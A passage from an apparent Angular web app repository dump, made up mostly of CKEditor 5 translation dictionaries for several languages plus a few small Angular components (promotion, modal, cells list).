kolon ekle', 'Insert image': 'Görsel Ekle', 'Insert image or file': 'Resim veya dosya ekleyin', 'Insert media': 'Medya Ekle', 'Insert paragraph after block': '', 'Insert paragraph before block': '', 'Insert row above': 'Üste satır ekle', 'Insert row below': 'Alta satır ekle', 'Insert table': 'Tablo Ekle', 'Inserting image failed': 'Resim eklenemedi', Inset: 'İçe', Italic: 'İtalik', Justify: 'İki yana yasla', 'Justify cell text': 'Hücre içindeki metini iki yana yasla', 'Left aligned image': 'Sola hizalı görsel', 'Light blue': 'Açık Mavi', 'Light green': 'Açık Yeşil', 'Light grey': 'Açık Gri', Link: 'Bağlantı', 'Link URL': 'Bağlantı Adresi', 'Media toolbar': 'Medya araç çubuğu', 'Media URL': "Medya URL'si", 'media widget': 'medya aracı', 'Merge cell down': 'Aşağıya doğru birleştir', 'Merge cell left': 'Sola doğru birleştir', 'Merge cell right': 'Sağa doğru birleştir', 'Merge cell up': 'Yukarı doğru birleştir', 'Merge cells': 'Hücreleri birleştir', Next: 'Sonraki', None: 'Yok', 'Numbered List': 'Numaralı Liste', 'Open in a new tab': 'Yeni sekmede aç', 'Open link in new tab': 'Yeni sekmede aç', Orange: 'Turuncu', Outset: 'Dışarıya', Padding: 'İç boşluk', Paragraph: 'Paragraf', 'Paste the media URL in the input.': "Medya URL'siini metin kutusuna yapıştırınız.", 'Pink marker': 'Pembe işaretleyici', Previous: 'Önceki', Purple: 'Mor', Red: 'Kırmızı', 'Red pen': 'Kırmızı kalem', Redo: 'Tekrar yap', 'Remove color': 'Rengi Sil', 'Remove highlight': 'Vurgulamayı temizle', 'Rich Text Editor, %0': 'Zengin İçerik Editörü, %0', Ridge: 'Yükselti', 'Right aligned image': 'Sağa hizalı görsel', Row: 'Satır', Save: 'Kaydet', 'Saving changes': 'Değişiklikler Kaydediliyor', 'Select all': 'Hepsini seç', 'Select column': 'Kolon seç', 'Select row': 'Satır seç', 'Selecting resized image failed': 'Yeniden boyutlandırılan resim seçilemedi', 'Show more items': 'Daha fazla öğe göster', 'Side image': 'Yan Görsel', Small: 'Küçük', Solid: 'Dolu', 'Split cell horizontally': 'Hücreyi yatay böl', 'Split cell vertically': 'Hücreyi dikey böl', Style: 'Stil', 'Table alignment toolbar': 'Tablo hizalama araç çubuğu', 'Table cell text alignment': 'Tablo hücresi metin hizalaması', 'Table properties': 'Tablo özellikleri', 'Table toolbar': 'Tablo araç çubuğu', 'Text alignment': 'Yazı hizalama', 'Text alignment toolbar': 'Yazı Hizlama Araç Çubuğu', 'Text alternative': 'Yazı alternatifi', 'Text highlight toolbar': 'Yazı Vurgulama Araç Çubuğu', 'The color is invalid. Try "#FF0000" or "rgb(255,0,0)" or "red".': 'Geçersiz renk. "#FF0000" veya "rgb(255,0,0)" veya "red" deneyin.', 'The URL must not be empty.': 'URL boş olamaz.', 'The value is invalid. Try "10px" or "2em" or simply "2".': 'Geçersiz değer. "10px" veya "2em" veya sadece "2" deneyin.', 'This link has no URL': 'Bağlantı adresi yok', 'This media URL is not supported.': "Desteklenmeyen Medya URL'si.", Tiny: 'Çok Küçük', 'Tip: Paste the URL into the content to embed faster.': "İpucu: İçeriği daha hızlı yerleştirmek için URL'yi yapıştırın.", 'To-do List': 'Yapılacaklar Listesi', Turquoise: 'Turkuaz', Underline: 'Altı Çizgili', Undo: 'Geri al', Unlink: 'Bağlantıyı kaldır', 'Upload failed': 'Yükleme başarsız', 'Upload in progress': 'Yükleme işlemi devam ediyor', 'Vertical text alignment toolbar': 'Dikey metin hizalama araç çubuğu', White: 'Beyaz', 'Widget toolbar': 'Bileşen araç çubuğu', Width: 'Genişlik', Yellow: 'Sarı', 'Yellow marker': 'Sarı işaretleyici', })), (i.getPluralForm = function (e) { return e > 1; }); })(window.CKEDITOR_TRANSLATIONS || (window.CKEDITOR_TRANSLATIONS = {})); <file_sep>/src/ckeditor5/build/translations/pt-br.js !(function (e) { const a = (e['pt-br'] = e['pt-br'] || {}); (a.dictionary = Object.assign(a.dictionary || {}, { '%0 of %1': '%0 de %1', 'Align cell text to the bottom': 'Alinhar texto da célula para baixo', 'Align cell text to the center': 'Alinhar texto da célula centralizado', 'Align cell text to the left': 'Alinhar texto da célula para a esquerda', 'Align cell text to the middle': 'Alinhar texto da célula para o meio', 'Align cell text to the right': 'Alinhar texto da célula para a direita', 'Align cell text to the top': 'Alinhar texto da célula para o topo', 'Align center': 'Centralizar', 'Align left': 'Alinhar à esquerda', 'Align right': 'Alinhar à direita', 'Align table to the left': 'Alinhar tabela para esquerda', 'Align table to the right': 'Alinhar tabela para direita', Alignment: 'Alinhamento', Aquamarine: 'Água-marinha', Background: 'Cor de fundo', Big: 'Grande', Black: 'Preto', 'Block quote': 'Bloco de citação', Blue: 'Azul', 'Blue marker': 'Marcador azul', Bold: 'Negrito', Border: 'Borda', 'Bulleted List': 'Lista com marcadores', Cancel: 'Cancelar', 'Cannot upload file:': 'Não foi possível enviar o arquivo:', 'Cell properties': 'Propriedades da célula', 'Center table': 'Centralizar tabela', 'Centered image': 'Imagem centralizada', 'Change image text alternative': 'Alterar texto alternativo da imagem', 'Choose heading': 'Escolha o título', Color: 'Cor', 'Color picker': 'Seletor de cor', Column: 'Coluna', 'Could not insert image at the current position.': 'Não foi possível inserir a imagem na posição atual', 'Could not obtain resized image URL.': 'Não foi possível obter o endereço da imagem redimensionada', Dashed: 'Tracejada', 'Decrease indent': 'Diminuir indentação', Default: 'Padrão', 'Delete column': 'Excluir coluna', 'Delete row': 'Excluir linha', 'Dim grey': 'Cinza escuro', Dimensions: 'Dimensões', 'Document colors': 'Cores do documento', Dotted: 'Pontilhada', Double: 'Dupla', Downloadable: 'Pode ser baixado', 'Dropdown toolbar': 'Barra de Ferramentas da Lista Suspensa', 'Edit link': 'Editar link', 'Editor toolbar': 'Ferramentas do Editor', 'Enter image caption': 'Inserir legenda da imagem', 'Font Background Color': 'Cor de Fundo', 'Font Color': 'Cor da Fonte', 'Font Family': 'Fonte', 'Font Size': 'Tamanho da fonte', 'Full size image': 'Imagem completa', Green: 'Verde', 'Green marker': 'Marcador verde', 'Green pen': 'Caneta verde', Grey: 'Cinza', Groove: 'Ranhura', 'Header column': 'Coluna de cabeçalho', 'Header row': 'Linha de cabeçalho', Heading: 'Titulo', 'Heading 1': 'Título 1', 'Heading 2': 'Título 2', 'Heading 3': 'Título 3', 'Heading 4': 'Título 4', 'Heading 5': 'Título 5', 'Heading 6': 'Título 6', Height: 'Altura', Highlight: 'Realce', 'Horizontal line': 'Linha horizontal', 'Horizontal text alignment toolbar': 'Ferramentas de alinhamento horizontal do texto', Huge: 'Gigante', 'Image toolbar': 'Ferramentas de Imagem', 'image widget': 'Ferramenta de imagem', 'Increase indent': 'Aumentar indentação', 'Insert column left': 'Inserir coluna à esquerda', 'Insert column right': 'Inserir coluna à direita', 'Insert image': 'Inserir imagem', 'Insert image or file': 'Inserir imagem ou arquivo', 'Insert media': 'Inserir mídia', 'Insert paragraph after block': '', 'Insert paragraph before block': '', 'Insert row above': 'Inserir linha acima', 'Insert row below': 'Inserir linha abaixo', 'Insert table': 'Inserir tabela', 'Inserting image failed': 'Falha ao inserir imagem', Inset: 'Baixo relevo', Italic: 'Itálico', Justify: 'Justificar', 'Justify cell text': 'Justificar texto da célula', 'Left aligned image': 'Imagem alinhada à esquerda', 'Light blue': 'Azul claro', 'Light green': 'Verde claro', 'Light grey': 'Cinza claro', Link: 'Link', 'Link URL': 'URL', 'Media toolbar': 'Ferramentas de Mídia', 'Media URL': 'URL da mídia', 'media widget': 'Ferramenta de mídia', 'Merge cell down': 'Mesclar abaixo', 'Merge cell left': 'Mesclar à esquerda', 'Merge cell right': 'Mesclar à direita', 'Merge cell up': 'Mesclar acima', 'Merge cells': 'Mesclar células', Next: 'Próximo', None: 'Sem borda', 'Numbered List': 'Lista numerada', 'Open in a new tab': 'Abrir em nova aba', 'Open link in new tab': 'Abrir link em nova aba', Orange: 'Laranja', Outset: 'Alto relevo', Padding: 'Margem interna', Paragraph: 'Parágrafo', 'Paste the media URL in the input.': 'Cole o endereço da mídia no campo.', 'Pink marker': 'Marcador rosa', Previous: 'Anterior', Purple: 'Púrpura', Red: 'Vermelho', 'Red pen': 'Caneta vermelha', Redo: 'Refazer', 'Remove color': 'Remover cor', 'Remove highlight': 'Remover realce', 'Rich Text Editor, %0': 'Editor de Formatação, %0', Ridge: 'Crista', 'Right aligned image': 'Imagem alinhada à direita', Row: 'Linha', Save: 'Salvar', 'Saving changes': 'Salvando alterações', 'Select all': 'Selecionar tudo', 'Select column': 'Selecionar coluna', 'Select row': 'Selecionar linha', 'Selecting resized image failed': 'Seleção da imagem redimensionada falhou', 'Show more items': 'Exibir mais itens', 'Side image': 'Imagem lateral', Small: 'Pequeno', Solid: 'Sólida', 'Split cell horizontally': 'Dividir horizontalmente', 'Split cell vertically': 'Dividir verticalmente', Style: 'Estilo', 'Table alignment toolbar': 'Ferramentas de alinhamento da tabela', 'Table cell text alignment': 'Alinhamento do texto na célula', 'Table properties': 'Propriedades da tabela', 'Table toolbar': 'Ferramentas de Tabela', 'Text alignment': 'Alinhamento do texto', 'Text alignment toolbar': 'Ferramentas de alinhamento de texto', 'Text alternative': 'Texto alternativo', 'Text highlight toolbar': 'Ferramentas de realce', 'The color is invalid. Try "#FF0000" or "rgb(255,0,0)" or "red".': 'Cor inválida. Tente "#FF0000" ou "rgb(255,0,0)" ou "red"', 'The URL must not be empty.': 'A URL não pode ficar em branco.', 'The value is invalid. Try "10px" or "2em" or simply "2".': 'Valor inválido. Tente "10px" ou "2em" ou apenas "2"', 'This link has no URL': 'Este link não possui uma URL', 'This media URL is not supported.': 'A URL desta mídia não é suportada.', Tiny: 'Minúsculo', 'Tip: Paste the URL into the content to embed faster.': 'Cole o endereço dentro do conteúdo para embutir mais rapidamente.', 'To-do List': 'Lista de Tarefas', Turquoise: 'Turquesa', Underline: 'Sublinhado', Undo: 'Desfazer', Unlink: 'Remover link', 'Upload failed': 'Falha ao subir arquivo', 'Upload in progress': 'Enviando dados', 'Vertical text alignment toolbar': 'Ferramentas de alinhamento vertical do texto', White: 'Branco', 'Widget toolbar': 'Ferramentas de Widgets', Width: 'Largura', Yellow: 'Amarelo', 'Yellow marker': 'Marcador amarelo', })), (a.getPluralForm = function (e) { return e > 1; }); })(window.CKEDITOR_TRANSLATIONS || (window.CKEDITOR_TRANSLATIONS = {})); <file_sep>/src/ckeditor5/build/translations/oc.js !(function (n) { const o = (n.oc = n.oc || {}); (o.dictionary = Object.assign(o.dictionary || {}, { Bold: 'Gras', Cancel: 'Anullar', Italic: 'Italica', 'Remove color': '', Save: 'Enregistrar', Underline: '', })), (o.getPluralForm = function (n) { return n > 1; }); })(window.CKEDITOR_TRANSLATIONS || (window.CKEDITOR_TRANSLATIONS = {})); <file_sep>/src/app/components/promotion-mobile/promotion-mobile.component.ts import { Component } from '@angular/core'; import { environment } from '../../../environments/environment'; import { AuthenticationService } from '../../services/authentication.service'; interface InstanceConfig { instanceAPIUrl: string; token?: string; } @Component({ selector: 'app-promotion-mobile', templateUrl: './promotion-mobile.component.html', styleUrls: ['./promotion-mobile.component.scss'], }) export class PromotionMobileComponent { apiUrl = environment.url_base_api; instanceConfig: string; constructor(private authenticationService: AuthenticationService) { const instanceConfig: InstanceConfig = { instanceAPIUrl: this.apiUrl, token: this.authenticationService.getToken(), }; this.instanceConfig = JSON.stringify(instanceConfig); } } <file_sep>/src/ckeditor5/build/translations/tt.js !(function (n) { const o = (n.tt = n.tt || {}); (o.dictionary = Object.assign(o.dictionary || {}, { Bold: 'Калын', Cancel: '', Italic: '', Redo: 'Кабатла', 'Remove color': '', Save: 'Сакла', Underline: '', Undo: '', })), (o.getPluralForm = function (n) { return 0; }); })(window.CKEDITOR_TRANSLATIONS || (window.CKEDITOR_TRANSLATIONS = {})); <file_sep>/src/app/components/modal/modal.component.ts import { Component, EventEmitter, Input, OnInit, Output } from '@angular/core'; import { ModalService } from '../../services/modal.service'; @Component({ selector: 'app-modal', templateUrl: './modal.component.html', styleUrls: ['./modal.component.scss'], }) export class ModalComponent implements OnInit { @Input() name: string; @Input() autoClose = false; @Input() show = false; @Input() maxWidth = '600px'; @Output() modalClose: EventEmitter<any> = new EventEmitter(); constructor(private modalService: ModalService) {} ngOnInit(): void { this.modalService.set(this.name, this); } toggle() { this.show = !this.show; if (this.show) { document.addEventListener('keyup', this.escapeListener); } else { this.modalClose.emit(null); document.removeEventListener('keyup', this.escapeListener); } } private escapeListener = (event: KeyboardEvent) => { if (event.key === 'Escape') { this.show = false; } }; close() { this.show = false; } clickOverlay(event: Event) { const target = event.target as HTMLElement; if (target.classList.contains('modal-component')) { this.toggle(); } } } <file_sep>/src/ckeditor5/build/translations/ko.js !(function (e) { const t = (e.ko = e.ko || {}); (t.dictionary = Object.assign(t.dictionary || {}, { '%0 of %1': '', 'Align cell text to the bottom': '', 'Align cell text to the center': '', 'Align cell text to the left': '', 'Align cell text to the middle': '', 'Align cell text to the right': '', 'Align cell text to the top': '', 'Align center': '가운데 맞춤', 'Align left': '왼쪽 맞춤', 'Align right': '오른쪽 맞춤', 'Align table to the left': '', 'Align table to the right': '', Alignment: '', Aquamarine: '연한 청록색', Background: '', Big: '큰', Black: '검정', 'Block quote': '인용 단락', Blue: '파랑', Bold: '굵게', Border: '', 'Bulleted List': '글머리기호', Cancel: '취소', 'Cannot upload file:': '파일 업로드 불가', 'Cell properties': '', 'Center table': '', 'Centered image': '가운데 정렬', 'Change image text alternative': '대체 텍스트 변경', 'Choose heading': '제목 선택', Color: '', 'Color picker': '', Column: '', Dashed: '', 'Decrease indent': '내어쓰기', Default: '기본', 'Delete column': '', 'Delete row': '', 'Dim grey': '진한 회색', Dimensions: '', 'Document colors': '문서 색상들', Dotted: '', Double: '', Downloadable: '다운로드 가능', 'Dropdown toolbar': '드롭다운 툴바', 'Edit link': '링크 편집', 'Editor toolbar': '에디터 툴바', 'Enter image caption': '이미지 설명을 입력하세요', 'Font Background Color': '글자 배경색', 'Font Color': '글자 색상', 'Font Family': '글꼴', 'Font Size': '글자 크기', 'Full size image': '문서 너비', Green: '초록', Grey: '회색', Groove: '', 'Header column': '', 'Header row': '', Heading: '제목', 'Heading 1': '제목1', 'Heading 2': '제목2', 'Heading 3': '제목3', 'Heading 4': '제목4', 'Heading 5': '제목5', 'Heading 6': '제목6', Height: '', 'Horizontal line': '수평선', 'Horizontal text alignment toolbar': '', Huge: '매우 큰', 'Image toolbar': '이미지 툴바', 'image widget': '이미지 위젯', 'Increase indent': '들여쓰기', 'Insert column left': '', 'Insert column right': '', 'Insert image': '이미지 삽입', 'Insert media': '미디어 삽입', 'Insert paragraph after block': '', 'Insert paragraph before block': '', 'Insert row above': '', 'Insert row below': '', 'Insert table': '테이블 삽입', Inset: '', Italic: '기울임꼴', Justify: '양쪽 맞춤', 'Justify cell text': '', 'Left aligned image': '왼쪽 정렬', 'Light blue': '연한 파랑', 'Light green': '밝은 초록', 'Light grey': '밝은 회색', Link: '링크', 'Link URL': '링크 주소', 'Media toolbar': '미디어 툴바', 'Media URL': '미디어 URL', 'media widget': '미디어 위젯', 'Merge cell down': '', 'Merge cell left': '', 'Merge cell right': '', 'Merge cell up': '', 'Merge cells': '', Next: '다음', None: '', 'Numbered List': '번호매기기', 'Open in a new tab': '새 탭에서 열기', 'Open link in new tab': '새 탭에서 링크 열기', Orange: '주황', Outset: '', Padding: '', Paragraph: '문단', 'Paste the media URL in the input.': '미디어 URL을 입력해주세요.', Previous: '이전', Purple: '보라', Red: '빨강', Redo: '다시 실행', 'Remove color': '색상 지우기', 'Rich Text Editor, %0': '', Ridge: '', 'Right aligned image': '오른쪽 정렬', Row: '', Save: '저장', 'Saving changes': '변경사항 저장', 'Select all': '전체 선택', 'Select column': '', 'Select row': '', 'Show more items': '더보기', 'Side image': '내부 우측 정렬', Small: '작은', Solid: '', 'Split cell horizontally': '', 'Split cell vertically': '', Style: '', 'Table alignment toolbar': '', 'Table cell text alignment': '', 'Table properties': '', 'Table toolbar': '', 'Text alignment': '텍스트 정렬', 'Text alignment toolbar': '텍스트 정렬 툴바', 'Text alternative': '대체 텍스트', 'The color is invalid. Try "#FF0000" or "rgb(255,0,0)" or "red".': '', 'The URL must not be empty.': 'URL이 비어있습니다.', 'The value is invalid. Try "10px" or "2em" or simply "2".': '', 'This link has no URL': '이 링크에는 URL이 없습니다.', 'This media URL is not supported.': '이 URL은 지원되지 않습니다.', Tiny: '매우 작은', 'Tip: Paste the URL into the content to embed faster.': 'Tip: URL을 복사 후 붙여넣기하면 더 빠릅니다.', 'To-do List': '할일 목록', Turquoise: '청록색', Underline: '밑줄', Undo: '실행 취소', Unlink: '링크 삭제', 'Upload failed': '업로드 실패', 'Upload in progress': '업로드 진행 중', 'Vertical text alignment toolbar': '', White: '흰색', 'Widget toolbar': '위젯 툴바', Width: '', Yellow: '노랑', })), (t.getPluralForm = function (e) { return 0; }); })(window.CKEDITOR_TRANSLATIONS || (window.CKEDITOR_TRANSLATIONS = {})); <file_sep>/src/ckeditor5/build/translations/ru.js !(function (e) { const t = (e.ru = e.ru || {}); (t.dictionary = Object.assign(t.dictionary || {}, { '%0 of %1': '%0 из %1', 'Align cell text to the bottom': 'Выровнять текст ячейки по нижнему краю', 'Align cell text to the center': 'Выровнять текст по центру', 'Align cell text to the left': 'Выровнять текст по левому краю', 'Align cell text to the middle': 'Выровнять текст ячейки по центру', 'Align cell text to the right': 'Выровнять текст по правому краю', 'Align cell text to the top': 'Выровнять текст ячейки по верхнему краю', 'Align center': 'Выравнивание по центру', 'Align left': 'Выравнивание по левому краю', 'Align right': 'Выравнивание по правому краю', 'Align table to the left': 'Выровнять таблицу по левому краю', 'Align table to the right': 'Выровнять таблицу по правому краю', Alignment: 'Выравнивание', Aquamarine: 'Аквамариновый', Background: 'Фон', Big: 'Крупный', Black: 'Чёрный', 'Block quote': 'Цитата', Blue: 'Синий', 'Blue marker': 'Выделение синим маркером', Bold: 'Жирный', Border: 'Граница', 'Bulleted List': 'Маркированный список', Cancel: 'Отмена', 'Cannot upload file:': 'Невозможно загрузить файл', 'Cell properties': 'Свойства ячейки', 'Center table': 'Выровнять таблицу по центру', 'Centered image': 'Выравнивание по центру', 'Change image text alternative': 'Редактировать альтернативный текст', 'Choose heading': 'Выбор стиля', Color: 'Цвет', 'Color picker': 'Выбор цвета', Column: 'Столбец', 'Could not insert image at the current position.': 'Нельзя вставить изображение на текущую позицию.', 'Could not obtain resized image URL.': 'Не удалось получить URL с измененным размером изображения.', Dashed: 'Пунктирная', 'Decrease indent': 'Уменьшить отступ', Default: 'По умолчанию', 'Delete column': 'Удалить столбец', 'Delete row': 'Удалить строку', 'Dim grey': 'Тёмно-серый', Dimensions: 'Размеры', 'Document colors': 'Цвет страницы', Dotted: 'Точечная', Double: 'Двойная', Downloadable: 'Загружаемые', 'Dropdown toolbar': 'Выпадающая панель инструментов', 'Edit link': 'Редактировать ссылку', 'Editor toolbar': 'Панель инструментов редактора', 'Enter image caption': 'Подпись к изображению', 'Font Background Color': 'Цвет фона', 'Font Color': 'Цвет шрифта', 'Font Family': 'Семейство шрифтов', 'Font Size': 'Размер шрифта', 'Full size image': 'Оригинальный размер изображения', Green: 'Зелёный', 'Green marker': 'Выделение зелёным маркером', 'Green pen': 'Зеленый цвет текста', Grey: 'Серый', Groove: 'Желобчатая', 'Header column': 'Столбец заголовков', 'Header row': 'Строка заголовков', Heading: 'Стиль', 'Heading 1': 'Заголовок 1', 'Heading 2': 'Заголовок 2', 'Heading 3': 'Заголовок 3', 'Heading 4': 'Заголовок 4', 'Heading 5': 'Заголовок 5', 'Heading 6': 'Заголовок 6', Height: 'Высота', Highlight: 'Выделить', 'Horizontal line': 'Горизонтальная линия', 'Horizontal text alignment toolbar': 'Панель инструментов горизонтального выравнивания текста', Huge: 'Очень крупный', 'Image toolbar': 'Панель инструментов изображения', 'image widget': 'Виджет изображений', 'Increase indent': 'Увеличить отступ', 'Insert column left': 'Вставить столбец слева', 'Insert column right': 'Вставить столбец справа', 'Insert image': 'Вставить изображение', 'Insert image or file': 'Вставьте изображение или файл', 'Insert media': 'Вставить медиа', 'Insert paragraph after block': '', 'Insert paragraph before block': '', 'Insert row above': 'Вставить строку выше', 'Insert row below': 'Вставить строку ниже', 'Insert table': 'Вставить таблицу', 'Inserting image failed': 'Вставка изображения не удалась', Inset: 'Вдавленная', Italic: 'Курсив', Justify: 'Выравнивание по ширине', 'Justify cell text': 'Выровнять текст по ширине', 'Left aligned image': 'Выравнивание по левому краю', 'Light blue': 'Голубой', 'Light green': 'Салатовый', 'Light grey': 'Светло-серый', Link: 'Ссылка', 'Link URL': 'Ссылка URL', 'Media toolbar': 'Панель инструментов медиа', 'Media URL': 'URL медиа', 'media widget': 'медиа-виджет', 'Merge cell down': 'Объединить с ячейкой снизу', 'Merge cell left': 'Объединить с ячейкой слева', 'Merge cell right': 'Объединить с ячейкой справа', 'Merge cell up': 'Объединить с ячейкой сверху', 'Merge cells': 'Объединить ячейки', Next: 'Следующий', None: 'Нет', 'Numbered List': 'Нумерованный список', 'Open in a new tab': 'Открыть в новой вкладке', 'Open link in new tab': 'Открыть ссылку в новой вкладке', Orange: 'Оранжевый', Outset: 'Выпуклая', Padding: 'Отступ', Paragraph: 'Параграф', 'Paste the media URL in the input.': 'Вставьте URL медиа в поле ввода.', 'Pink marker': 'Выделение розовым маркером', Previous: 'Предыдущий', Purple: 'Фиолетовый', Red: 'Красный', 'Red pen': 'Красный цвет текста', Redo: 'Повторить', 'Remove color': 'Убрать цвет', 'Remove highlight': 'Убрать выделение', 'Rich Text Editor, %0': 'Редактор, %0', Ridge: 'Ребристая', 'Right aligned image': 'Выравнивание по правому краю', Row: 'Строка', Save: 'Сохранить', 'Saving changes': 'Сохранение изменений', 'Select all': 'Выбрать все', 'Select column': 'Выбрать столбец', 'Select row': 'Выбрать строку', 'Selecting resized image failed': 'Выбор изображения с измененным размером не удался', 'Show more items': 'Другие инструменты', 'Side image': 'Боковое изображение', Small: 'Мелкий', Solid: 'Сплошная', 'Split cell horizontally': 'Разделить ячейку горизонтально', 'Split cell vertically': 'Разделить ячейку вертикально', Style: 'Стиль', 'Table alignment toolbar': 'Панель инструментов выравнивания таблицы', 'Table cell text alignment': 'Выравнивание текста в ячейке таблицы', 'Table properties': 'Свойства таблицы', 'Table toolbar': 'Панель инструментов таблицы', 'Text alignment': 'Выравнивание текста', 'Text alignment toolbar': 'Выравнивание', 'Text alternative': 'Альтернативный текст', 'Text highlight toolbar': 'Панель инструментов выделения текста', 'The color is invalid. Try "#FF0000" or "rgb(255,0,0)" or "red".': 'Неверный цвет. Попробуйте "#FF0000" или "rgb(255,0,0)" или "red".', 'The URL must not be empty.': 'URL не должен быть пустым.', 'The value is invalid. Try "10px" or "2em" or simply "2".': 'Неверное значение. Попробуйте "10px" или "2em" или просто "2".', 'This link has no URL': 'Для этой ссылки не установлен адрес URL', 'This media URL is not supported.': 'Этот URL медиа не поддерживается.', Tiny: 'Очень мелкий', 'Tip: Paste the URL into the content to embed faster.': 'Подсказка: Вставьте URL в контент для быстрого включения.', 'To-do List': 'Список задач', Turquoise: 'Бирюзовый', Underline: 'Подчеркнутый', Undo: 'Отменить', Unlink: 'Убрать ссылку', 'Upload failed': 'Загрузка не выполнена', 'Upload in progress': 'Идёт загрузка', 'Vertical text alignment toolbar': 'Панель инструментов вертикального выравнивания текста', White: 'Белый', 'Widget toolbar': 'Панель инструментов виджета', Width: 'Ширина', Yellow: 'Жёлтый', 'Yellow marker': 'Выделение жёлтым маркером', })), (t.getPluralForm = function (e) { return e % 10 == 1 && e % 100 != 11 ? 0 : e % 10 >= 2 && e % 10 <= 4 && (e % 100 < 12 || e % 100 > 14) ? 1 : e % 10 == 0 || (e % 10 >= 5 && e % 10 <= 9) || (e % 100 >= 11 && e % 100 <= 14) ? 2 : 3; }); })(window.CKEDITOR_TRANSLATIONS || (window.CKEDITOR_TRANSLATIONS = {})); <file_sep>/src/app/pages/cells/cells.component.ts import { Component, OnInit } from '@angular/core'; import { map } from 'rxjs/operators'; import { ResponseApi } from '../../models/api'; import { CellService } from '../../services/cell.service'; import { Cell } from '../../models/cell'; import { MatTableDataSource } from '@angular/material/table'; import { Observable } from 'rxjs/internal/Observable'; import { Router } from '@angular/router'; @Component({ selector: 'app-cells', templateUrl: './cells.component.html', styleUrls: ['./cells.component.scss'], }) export class CellsComponent implements OnInit { cellList$: Observable<Cell[]>; cellList: MatTableDataSource<Cell>; displayedColumns: string[] = ['name']; constructor(private cellService: CellService, private router: Router) {} ngOnInit(): void { this.getCells(); } getCells(): void { this.cellList$ = this.cellService.list().pipe( map((responseApi: ResponseApi<Cell>) => { return responseApi.results; }) ); this.cellList$.subscribe((cells: Cell[]) => { if (cells.length === 1) { this.router.navigate(['/events/' + cells[0].id]).then(); } else { this.cellList = new MatTableDataSource(cells); } }); } } <file_sep>/src/ckeditor5/build/translations/it.js !(function (e) { const i = (e.it = e.it || {}); (i.dictionary = Object.assign(i.dictionary || {}, { '%0 of %1': '%0 di %1', 'Align cell text to the bottom': 'Allinea il testo della cella in basso', 'Align cell text to the center': 'Allinea il testo della cella al centro', 'Align cell text to the left': 'Allinea il testo della cella a sinistra', 'Align cell text to the middle': 'Allinea il testo della cella in mezzo', 'Align cell text to the right': 'Allinea il testo della cella a destra', 'Align cell text to the top': 'Allinea il testo della cella in alto', 'Align center': 'Allinea al centro', 'Align left': 'Allinea a sinistra', 'Align right': 'Allinea a destra', 'Align table to the left': 'Allinea tabella a sinistra', 'Align table to the right': 'Allinea tabella a destra', Alignment: 'Allineamento', Aquamarine: 'Aquamarina', Background: 'Sfondo', Big: 'Grandi', Black: 'Nero', 'Block quote': 'Blocco citazione', Blue: 'Blu', 'Blue marker': 'Contrassegno blu', Bold: 'Grassetto', Border: 'Bordo', 'Bulleted List': 'Elenco puntato', Cancel: 'Annulla', 'Cannot upload file:': 'Impossibile caricare il file:', 'Cell properties': 'Proprietà cella', 'Center table': 'Allinea tabella al centro', 'Centered image': 'Immagine centrata', 'Change image text alternative': "Cambia testo alternativo dell'immagine", 'Choose heading': 'Seleziona intestazione', Color: 'Colore', 'Color picker': 'Selezione colore', Column: 'Colonna', 'Could not insert image at the current position.': "Non è stato possibile inserire l'immagine nella posizione corrente.", 'Could not obtain resized image URL.': "Non è stato possibile ottenere l'URL dell'immagine ridimensionata.", Dashed: 'Tratteggiato', 'Decrease indent': 'Riduci rientro', Default: 'Predefinito', 'Delete column': 'Elimina colonna', 'Delete row': 'Elimina riga', 'Dim grey': 'Grigio tenue', Dimensions: 'Dimensioni', 'Document colors': 'Colori del docmento', Dotted: 'Punteggiato', Double: 'Doppio', Downloadable: 'Scaricabile', 'Dropdown toolbar': 'Barra degli strumenti del menu a discesa', 'Edit link': 'Modifica collegamento', 'Editor toolbar': "Barra degli strumenti dell'editor", 'Enter image caption': "inserire didascalia dell'immagine", 'Font Background Color': 'Colore di sfondo caratteri', 'Font Color': 'Colore caratteri', 'Font Family': 'Tipo di caratteri', 'Font Size': 'Dimensione caratteri', 'Full size image': 'Immagine a dimensione intera', Green: 'Verde', 'Green marker': 'Contrassegno verde', 'Green pen': 'Penna verde', Grey: 'Grigio', Groove: 'Scanalatura', 'Header column': 'Intestazione colonna', 'Header row': "Riga d'intestazione", Heading: 'Intestazione', 'Heading 1': 'Intestazione 1', 'Heading 2': 'Intestazione 2', 'Heading 3': 'Intestazione 3', 'Heading 4': 'Intestazione 4', 'Heading 5': 'Intestazione 5', 'Heading 6': 'Intestazione 6', Height: 'Altezza', Highlight: 'Evidenzia', 'Horizontal line': 'Linea orizzontale', 'Horizontal text alignment toolbar': "Barra degli strumenti dell'allineamento orizzontale del testo", Huge: 'Grandissimi', 'Image toolbar': "Barra degli strumenti dell'immagine", 'image widget': 'Widget immagine', 'Increase indent': 'Aumenta rientro', 'Insert column left': 'Inserisci colonna a sinistra', 'Insert column right': 'Inserisci colonna a destra', 'Insert image': 'Inserisci immagine', 'Insert image or file': 'Inserisci immagine o file', 'Insert media': 'Inserisci media', 'Insert paragraph after block': '', 'Insert paragraph before block': '', 'Insert row above': 'Inserisci riga sopra', 'Insert row below': 'Inserisci riga sotto', 'Insert table': 'Inserisci tabella', 'Inserting image failed': "L'inserimento dell'immagine è fallito", Inset: 'Incassato', Italic: 'Corsivo', Justify: 'Giustifica', 'Justify cell text': 'Testo della cella giustificato', 'Left aligned image': 'Immagine allineata a sinistra', 'Light blue': 'Azzurro', 'Light green': 'Verde chiaro', 'Light grey': 'Grigio chiaro', Link: 'Collegamento', 'Link URL': 'URL del collegamento', 'Media toolbar': 'Barra degli strumenti degli elementi multimediali', 'Media URL': 'URL media', 'media widget': 'widget media', 'Merge cell down': 'Unisci cella sotto', 'Merge cell left': 'Unisci cella a sinistra', 'Merge cell right': 'Unisci cella a destra', 'Merge cell up': 'Unisci cella sopra', 'Merge cells': 'Unisci celle', Next: 'Avanti', None: 'Nessuno', 'Numbered List': 'Elenco numerato', 'Open in a new tab': 'Apri in una nuova scheda', 'Open link in new tab': 'Apri collegamento in nuova scheda', Orange: 'Arancio', Outset: 'Rialzato', Padding: 'Spaziatura interna', Paragraph: 'Paragrafo', 'Paste the media URL in the input.': "Incolla l'URL del file multimediale nell'input.", 'Pink marker': 'Contrassegno rosa', Previous: 'Indietro', Purple: 'Porpora', Red: 'Rosso', 'Red pen': 'Penna rossa', Redo: 'Ripristina', 'Remove color': 'Rimuovi colore', 'Remove highlight': 'Rimuovi evidenziazione', 'Rich Text Editor, %0': 'Editor di testo formattato, %0', Ridge: 'Rilievo', 'Right aligned image': 'Immagine allineata a destra', Row: 'Riga', Save: 